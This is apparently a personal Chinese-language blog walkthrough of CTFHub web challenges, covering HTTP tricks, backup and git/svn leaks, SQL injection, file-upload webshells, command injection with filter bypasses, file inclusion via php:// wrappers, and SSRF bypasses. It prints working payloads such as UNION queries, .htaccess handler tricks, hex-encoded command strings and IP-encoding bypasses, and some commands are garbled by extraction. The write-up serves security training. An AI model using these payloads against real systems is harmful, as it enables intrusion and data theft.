ctfhub随笔

Web

Web前置技能

HTTP协议

请求方式

题目:

HTTP Method is GET
Use CTF**B Method, I will give you flag.
Hint: If you got 「HTTP Method Not Allowed」 Error, you should request index.php.

意思就是你是get请求,你把这个请求换成CTFHUB就行

所以抓包直接一把梭

ctfhub随笔_第1张图片

302跳转

题目:

No Flag here!
Give me Flag

点击发现没有跳转

二话不说,抓包一把梭了

ctfhub随笔_第2张图片

这里状态码变为了302说明进行了重定向

Cookie

直接抓包,本来admin=0,然后给admin赋值=1就行了

基础认证

得到提示 do u konw admin ?,于是猜测账号是 admin , 那么接下来就只需要爆破密码了。注意看到 HTTP 请求头部的 Authorization 字段,后面的YWFhOmjiYg==用base64 解码后是 aaa:bbb,也就是我们之前输入的账号:密码。

使用 BurpSuite 进行基础认证爆破

(1)将报文发送到 Intruder, 将 Basic后面 base64部分添加为payload position

img

(2)在 Payloads选项卡下,选择 Payload Type为SimpleList,然后在 Payload Options 中点击 load 加载密码字典

img

(3)Payload Processing -> Add-> Add Prefix(添加前缀)-> 输入 admin:

Payload Processing -> Add-> Encode(添加一个编码方式)-> 选择 Base64 Encode

img

(4)Payload Encode 取消勾选的 URL-encode, 不然你会看到base64之后的=会被转成 %3d ,你就算爆破到天荒地老也不会出来

img

(5)Start Attack ,然后按 Length 排序,并看到状态码出现200的,即爆破成功

img

img

查看 Response,得到flag

ctfhub随笔_第3张图片

有点操作水平。。。。

响应包源码

等游戏结束f12查看源码即可

信息泄露

ctfhub随笔_第4张图片

目录遍历

http://challenge-62869800fbc1a5d3.sandbox.ctfhub.com:10080/flag_in_here/3/4/flag.txt

PHPINFO

http://challenge-8833e0a8156bbfbb.sandbox.ctfhub.com:10080/phpinfo.php

ctrl+f一把梭

ctfhub{eff7ead587e67aab8af40775}

备份文件下载

网站源码

当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。

可能有点用的提示:

#### 常见的网站源码备份文件后缀
------
- tar
- tar.gz
- zip
- rar
#### 常见的网站源码备份文件名
------
- web
- website
- backup
- back
- www
- wwwroot
- temp

http://challenge-6ede861cbefdfbaf.sandbox.ctfhub.com:10080/www.zip

\#!usr/bin/env python
#_*_ coding:utf-8 _*_
import requests 
url="http://challenge-9936840b90db7048.sandbox.ctfhub.com:10080/"
list1=['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp'] 
list2=['tar', 'tar.gz', 'zip', 'rar']
for i in list1: 
 for j in list2:      
   url_f=url+i+"."+j 
   r=requests.get(url_f)     
   if(r.status_code == 200):         
   print(url_f)

对没有错,就是通过这个脚本来判断是哪个页面为200

ctfhub随笔_第5张图片

ctfhub随笔_第6张图片

http://challenge-6ede861cbefdfbaf.sandbox.ctfhub.com:10080/flag_33916625.txt

完事!

bak文件

介绍:当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。

针对index.php.bak文件

输入下载完以后改为.txt格式打开直接一把梭

vim缓存

介绍:当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。

.index.php.swp

这里注意index前面有个点

然后将swp改为txt打开

.DS_Store

介绍:.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

下载完以后用.md文件格式打开

18c26ec34f6edafc85a7cd5e20853f58.txt发现这个文件

http://challenge-f8108aa66ac9b7ac.sandbox.ctfhub.com:10080/18c26ec34f6edafc85a7cd5e20853f58.txt一把梭

Git泄露

Log

介绍:当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

先用dirsearch.py进行扫描

python3 dirsearch.py -u https://github.com/maurosoria/dirsearch -e*

-u 指定网址
 -e 指定网站语言#例如-e php,zip,这里-e*是所有
 -t 指定线程
 -w 指定字典
 -r 递归目录(跑出目录后,继续跑目录下面的目录)
 --random-agents 使用随机UA(默认在db/uesr-agents.txt中,可以自己添加)
 -x 排除指定状态码
 -s 置请求之间的延时(秒)

然后用githack脚本跑

python GitHack.py http://challenge-bf6c3305d834ed77.sandbox.ctfhub.com:10080/.git

跑完以后去list目录去看看

进入所下载的文件里面

git log#使用git log命令查看本地的所有提交

得:ctfhub随笔_第7张图片

git reset --hard ea27539d5ad2aa769ee2375400a0a5afc39faab0#彻底回退到某个版本,本地的源码也会变为上一个版本的内容,撤销的commit中所包含的更改被冲掉;
ls
cat 241282368416724.txt

得到flag

stash(储藏)

理解:

当你要修改或者变更文件的时候,可以通过这个git statsh命令将其暂时保存到一个堆栈中,就好像是写到一半的文件突然不写了,你要去写另一个文件,这样为了避免这个文件消失,你就要用这个命令将他进行一下储存,然后办完手头的事情后,你就可以继续通过存到栈里面的文件继续进行之前未完成的编辑,而这个题目,就是针对查找通过stash命令存到栈里面的文件

和上一题一样

git log//查看历史记录
git stash pop
ls
cat 13456789.txt
说明:
$git stash                 //把本地修改并且未提交的内容,存储到本地栈中的栈顶。
$do some work        //此时你可以去切换分支或者pull最新代码
$git stash pop          //此时你可以把你刚才stash到本地栈中的代码pop到本地

index

启动githack

python GitHack.py http://challenge-3aa10bcada98b68b.sandbox.ctfhub.com:10080/.git

将他的git文件clone到本地然后查看就直接一把

ctfhub随笔_第8张图片

SVN泄露

引子:

当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。

去网上了解一下svn漏洞:

什么是SVN?

SVN是subversion的缩写,是一个开放源代码的版本控制系统,通过采用分支管理系统的高效管理,简而言之就是用于多个人共同开发同一个项目,实现共享资源,实现最终集中式的管理。

漏洞成因:

在服务器上布署代码时。如果是使用 svn checkout 功能来更新代码,而没有配置好目录访问权限,则会存在此漏洞。黑客利用此漏洞,可以下载整套网站的源代码。
在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。

用到的工具:dvcs-ripper

用dirsearch跑了一下.svn发现确实有,可能方法不对,跑都跑不完

然后开始回归正常操作:

1.下载所需要的工具:

git clone https://github.com/kost/dvcs-ripper /svn

我这里是将它下载到svn目录里面

2.使用

perl rip-svn.pl -u http://challenge-30d239a5f2b26f23.sandbox.ctfhub.com:10080/.svn/

补充:需要注意的是,.svn是隐藏文件,在linux下必须ls -al才能看到。
3.根据题目的提示,Flag 在服务端旧版本的源代码中。
注意那个tree中的pristine,里面一般存储的是代码的历史版本。我们直接进入目录,然后读取文件就可以得到flag了

问题:该软件不能正常使用,需要配置组件(暂未解决)

密码口令

弱口令

我的密码是admin123

ctfhub随笔_第9张图片

默认口令

这个题看很特别,看别人wp上说:是通过网上搜索eyou的默认口令来进入网站

https://blog.csdn.net/weixin_45785288/article/details/108274723

考查的信息收集能力

SQL注入

整数型注入

1.检测注入点

输入1得到Data: ctfhub输入2得到Data:skill输入3没有回显,输入1 or 1=1也会显示1的内容这是直接显示出来了?

2.构造注入语句

a.得到数据库

-1 union select 1,2

得到回显Data: 2

-1 union select 1,3

得到回显Data: 3

-1 union select 1,database()

回显Data: sqli(得到数据库)

b.得到数据库里面的表

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=“sqli”

得到回显:

Data: news,flag

c.爆列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=“flag”

得到回显:

Data: flag

d.爆字段

-1 union select 1,group_concat(flag) from flag

得到回显:

Data: ctfhub{3040c5c414ba645535376218}

字符型注入

就像整数型一样,但是区别于有单引号需要自己构造单引号语句来让其失效

1.查看数据库的列数

1’ order by 3 – ‘发现报错,那么改为2 :1’ order by 2 – '得到回显

说明有两列

2.联合查询

a.爆库名

这是获取所有数据库的语句:

’ union select 1,group_concat(schema_name) from information_schema.schemata – ’

发现information_schema是一个数据库

’ union select 1,database()#

得到了sqli

b.爆表

’ union select table_schema, group_concat(table_name) from information_schema.tables where table_schema=‘sqli’ – ’

c.爆列名

-1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’#

d.爆字段

’ union select 1,group_concat(flag) from flag – ’

XSS

反射型

利用xss platform平台创建一个xss反射型的脚本

'">

没什么好记的操作很简单直接上大佬的wp

https://blog.csdn.net/weixin_43486981/article/details/107974878

文件上传

无验证

一句话,一把梭


ctfhub随笔_第10张图片

ctfhub随笔_第11张图片

前端验证

与无验证的区别在于对于上传的文件格式的后缀有规定

所以:shell.php.png 安排只要保证能传上去就行了,同时抓包去掉.png保证蚁剑可以识别

然后重复一句话,一把梭操作即可

.htaccess

介绍:

.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

简单来说,就是我上传了一个.htaccess文件到服务器,那么服务器之后就会将特定格式的文件以php格式解析。

理解:

看到这,明白了,就好比你即使上传的是png文件,但是通过htaccess文件的解析,你依然是php文件

大佬的代码:

//方法一 SetHandler application/x-httpd-php //所有的文件当做php文件来解析

//方法二 AddType application/x-httpd-php .png //.png文件当作php文件解析

上传顺序:

先制作.htaccess再来shell.png(毕竟进行了前端验证)

1.AddType application/x-httpd-php .png

2.一句话,一把梭

MIME绕过

引子:

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。

MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。

浏览器通常使用MIME类型(而不是文件扩展名)来确定如何处理URL,因此Web服务器在响应头中添加正确的MIME类型非常重要。如果配置不正确,浏览器可能会曲解文件内容,网站将无法正常工作,并且下载的文件也会被错误处理。

通过介绍可以看出来,这种类型的过滤不是针对文件后缀名,而是根据http响应头信息,所以一定要通过抓包进行分析:

如果直接传的话会出现下面结果:

ctfhub随笔_第12张图片

但是如果将:

Content-Type: application/octet-stream

改为:

Content-Type: image/png

就会显示上传成功

然后一句话,一把梭

00截断

引子:

%00截断的两个条件

  • php < 5.3.4
  • magic_quotes_gpc = off

木马的文件格式为:phpwebshell.php%00.jpg

但是这个题需要截断的地方不是从文件的后缀进行截断,而是在响应后信息进行修改

分析源码:

if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension'];
    $whitelist = array("jpg", "png", "gif");
    if (in_array($ext, $whitelist)) {
        $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            echo "";
        } else {
            echo "";
        }
    } else {
        echo "文件类型不匹配";
    }
}

$_FILES 解释(搬自php手册)
$_FILES 数组内容如下:

$_FILES【‘myFile’][‘name’] 客户端文件的原名称。

$_FILES【‘myFile’][‘type’] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。

$_FILES【‘myFile’][‘size’] 已上传文件的大小,单位为字节。

$_FILES【‘myFile’][‘tmp_name’] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在 php.ini 的 upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。

$_FILES【‘myFile’][‘error’] 和该文件上传相关的错误代码。[‘error’] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在 PHP 4.3.0 之后变成了 PHP 常量。)

basename() 函数:返回路径中的文件名部分。
$_name 是上传的文件名加后缀
$_ext 得到的就是后缀名
重点就在 $des这个变量
得到的完整路径是 GET[‘road’]+随机数+日期加前面获得的后缀名看到这里基本可看出来,如果直接上传的话,文件是会被重新命名的,所以这里就有一个办法就是在

ctfhub随笔_第13张图片

这里为自己拟定一个文件名字,并且使用00截断后面自动生成的信息,这样就可以防止你上传的文件被认定为临时文件了

可以看到之前上传的文件都是被认定为临时文件:

ctfhub随笔_第14张图片

最后上传的路径为/uoload/1.php然后一句话,一把梭

双写后缀

直接不做修改的上传发现:

ctfhub随笔_第15张图片

php没了!!!

所以这里关于绕过,而且明显告诉是双写,那就:

shell.pphphp

成功了,一把梭(关于怎么绕过要自己不断尝试,即可)

文件头检查

都说是文件头检查了,那肯定就是抓包啊

将文件改为这个

Content-Type: image/png

但是说我文件错误,是文件错误,那么就准备改文件,

GIF89a

把随便一个图片用hex打开发现他头部信息就是这个GIF89a

然后继续上传准备一把梭

ctfhub随笔_第16张图片

success

RCE

eval执行

题目:


  • eval():该函数可以把字符串作为PHP代码执行
  • $_REQUEST[’’]:和GET和POST类似,不过反应速度比较慢

大体意思是:判断cmd是否被设置,若cmd被赋值,则执行如下语句,否则就继续显示以上代码。
方法一:

eval($_REQUEST[“cmd”]);

通过蚁剑直接连接,密码cmd

方法二:

构造URL:?cmd=system(“ls”);

发现了index.php

继续构造?cmd=system(“cd /;ls”);

得到:bin boot dev etc flag_30765 home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

构造:

?cmd=system(“cd /;cat flag_30765”);

success

文件包含


函数解释:

#函数查找字符串在另一字符串中第一次出现的位置(区分大小写) 
strpos("You love php, I love php too!","php");

发现一个shell


预定义的 $_REQUEST 变量包含了 $_GET、$_POST 和 $_COOKIE 的内容

$_REQUEST 变量可用来收集通过 GET 和 POST 方法发送的表单数据

$_REQUEST 变量既可以收集GET方法发送的数据,也可以接受POST方法接受的数据

直接蚁剑吧,发现是txt文件,没办法连接

因为题目给出:

i have a shell, how to use it ?

所以构造参数:

http://challenge-799c3c5c6ecef465.sandbox.ctfhub.com:10080/?file=shell.txt

然后使用hackbar的postdata传参

ctfhub=system(‘ls’);

ctfhub=system(‘ls /’);

ctfhub=system(‘cat /flag’);

得到flag

php://input

题型:php伪协议

php://input特点如下:

1)、Coentent-Type仅在取值为application/x-www-data-urlencoded和multipart/form-data两种情况下,PHP才会将http请求数据包中相应的数据填入全局变量$_POST

2)、PHP不能识别的Content-Type类型的时候,会将http请求包中相应的数据填入变量$HTTP_RAW_POST_DATA

3)、只有Coentent-Type为multipart/form-data的时候,PHP不会将http请求数据包中的相应数据填入php://input,否则其它情况都会。填入的长度,由Coentent-Length指定。

4)、只有Content-Type为application/x-www-data-urlencoded时,php://input数据才跟$_POST数据相一致。

5)、php://input数据总是跟$HTTP_RAW_POST_DATA相同,但是php://input比$HTTP_RAW_POST_DATA更凑效,且不需要特殊设置php.ini

6)、PHP会将PATH字段的query_path部分,填入全局变量$_GET。通常情况下,GET方法提交的http请求,body为空。

总结起来就是,在用$_POST获取不到由APP或者一些接口的回调数据时,就用php://input试试

题目:



i don't have shell, how to get flag?
phpinfo i don't have shell, how to get flag? phpinfo

这个应该也是get传参,开头的格式也是?file=,也就是说先对你输入的文件的前六个字符进行判断,如果是php://的话就执行一个php文件,如果不是就gg

搜索了一下发现这是属于php伪协议的一种类型:

php://input 是个可以访问请求的原始数据的只读流,可以读取到来自POST的原始数据。但当 enctype=”multipart/form-data” 的时候 php://input 是无效的。

利用条件:

  1. allow_url_include = On。
  2. 对allow_url_fopen不做要求。
http:/xxx/index.php?file=php://input

其他伪协议可见链接:

https://blog.csdn.net/qiuyeyijian/article/details/102993218?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2.control (很好的一个写给萌新wp的博主,更多伪协议见下方的推荐其他的文章)

ctfhub随笔_第17张图片

然后则这样就可以了

补充一个语句:


用这个找挺方便的

读取源代码

题目:



i don't have shell, how to get flag?
flag in /flag i don't have shell, how to get flag? flag in /flag

和上一题一样我感觉,但是并不好用

resource=<要过滤的数据流>	  	  指定了你要筛选过滤的数据流。	必选
read=<读链的筛选列表>			 可以设定一个或多个过滤器名称,以管道符(|)分隔。	可选
write=<写链的筛选列表>			 可以设定一个或多个过滤器名称,以管道符(|)分隔。	可选
<;两个链的筛选列表>			   任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

这里就不能将指令POST上去了,图中又提示了必须使用php://,FLAG在/flag内,因此想到过滤器filter

考虑到php伪协议里面的直接读取一个文件里面的内容的一个伪协议↓

?file=php://filter/read=convert.base64-encode/resource=/flag(有绝对路径的限制下只用)
?file=php://filter/resource=/flag

也可以去掉 read绕过一些限制函数

success

考查知识点:php://filter过滤器

远程包含

题目:



i don't have shell, how to get flag?
phpinfo i don't have shell, how to get flag? phpinfo

也是:?file=来进行传参

让我看phpinfo文件,因为根据前面题总结的经验只要这个allow_url_include = On是开的就可以利用php://伪协议,点开phpinfo发现确实是开的,所以抓包试试,success

此题目和php://input做法一样

命令注入

题目:


输入框打入:127.0.0.1;ls

得到

Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => 24024115330223.php
    [2] => index.php
)

然后输入:127.0.0.1;cat 24024115330223.php

页面没有显示,但是在源代码里面显示了flag

过滤cat

题目:


和上一题目一样,只不过要防一下过滤

127.0.0.1;a=ca;b=t; a a ab flag_29869689610883.php

不错不错新思路

过滤空格

在linux系统下:

1:<> 2:< 3:${IFS}这三个均可以表示空格

所以

127.0.0.1;ls

127.0.0.1;cat

ybs

过滤目录分隔符:/\

127.0.0.1;ls

127.0.0.1;cd flag_is_here;ls

127.0.0.1;cd flag_is_here;cat flag_25394867112070.php

也不知道为什么过滤,就好像过滤了一个寂寞

过滤运算符:/(||&)/

127.0.0.1;ls

127.0.0.1;cat flag_13087279769836.php

这又是一个寂寞

综合过滤练习:/(||&|;| |/|cat|flag|ctfhub)/

提示:%0a(换行符) 、%0d(回车符)

在这里的输入框输入:

127.0.0.1%0als

会发现,%0a会被两次编码,所以直接在URL里面输入才算可以

考虑到在linux系统内shell执行的并不能识别url编码,那么这里得知可以使用hex16位编码来进行转换:

使用命令 ( p r i n t f (printf (printf{IFS}“hex编码”)

127.0.0.1%0als< ( p r i n t f (printf (printf{IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")

得到文件:

flag_144233033911102.php

构造:

127.0.0.1;cat flag_is_here/flag_144233033911102.php

127.0.0.1%0aca’'t I F S {IFS} IFS(printf${IFS}"\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65\x2F\x66\x6C\x61\x67\x5F\x31\x34\x34\x32\x33\x33\x30\x33\x33\x39\x31\x31\x31\x30\x32\x2E\x70\x68\x70")

SSRF

内网访问

题目信息:尝试访问位于127.0.0.1的flag.php吧

?url=127.0.0.1/flag.php

GG

伪协议读取文件

题目信息:尝试去读取一下Web目录下的flag.php吧

?url=file:///var/www/html/flag.php

查看源文件得flag

URL伪协议:
file://  本地文件传输协议,File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样
dict://  Dict协议,字典服务器器协议,dict是基于查询响应的TCP协议,它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628
gopher://  Gopher协议是互联网上使用的分布型的文件搜集获取网络协议。gopher协议是在HTTP协议出现之前,在internet上常见重用的协议,但是现在已经用的很少了
sftp://  Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作
ldap://  LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议
tftp://  TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。
端口扫描

题目提示:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦

方法一(bp进行端口爆破):

爆破格式为

ctfhub随笔_第18张图片

ctfhub随笔_第19张图片

响应中查看

方法二:

import requests
url='http://challenge-48d05bc5759898a5.sandbox.ctfhub.com:10080/?url=127.0.0.1:'
port=8000
while port<=9000:
    Wholeurl=url+str(port)
    r = requests.get(Wholeurl)
    print(Wholeurl)
    if(len(r.content)!=0):
        print(port)
        print(r.content)
        break
    port=port+1
print("over")

py脚本进行爆破

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dlgpqdav-1617064499765)(http://images2.5666888.xyz//QQ图片20210114112554.png)]

(1/13基操↑)

POST请求

提示:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

URL Bypass

描述:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

?url=http://[email protected]/flag.php

数字IP Bypass

描述:这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

看了大佬的wp

  1. 8进制格式:0177.00.00.01
  2. 16进制格式:0x7f.0x0.0x0.0x1
  3. 10进制整数格式:2130706433
  4. 在linux下,0代表127.0.0.1,http://0进行请求127.0.0.1

?url=0/flag.php

302跳转 Bypass

描述:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

?url=127.0.0.1/flag.php

DNS重绑定 Bypass

关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助

搜集wp信息

我们这里还是使用DNS重绑定,在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如127.0.0.1.xip.io,就会自动重定向到127.0.0.1。
即:?url=127.0.0.1.xip.io/flag.php

但是这个题直接这样也可以

?url=127.0.0.1/flag.php

毕竟都是定向到127.0.0.1

你可能感兴趣的:(php,web)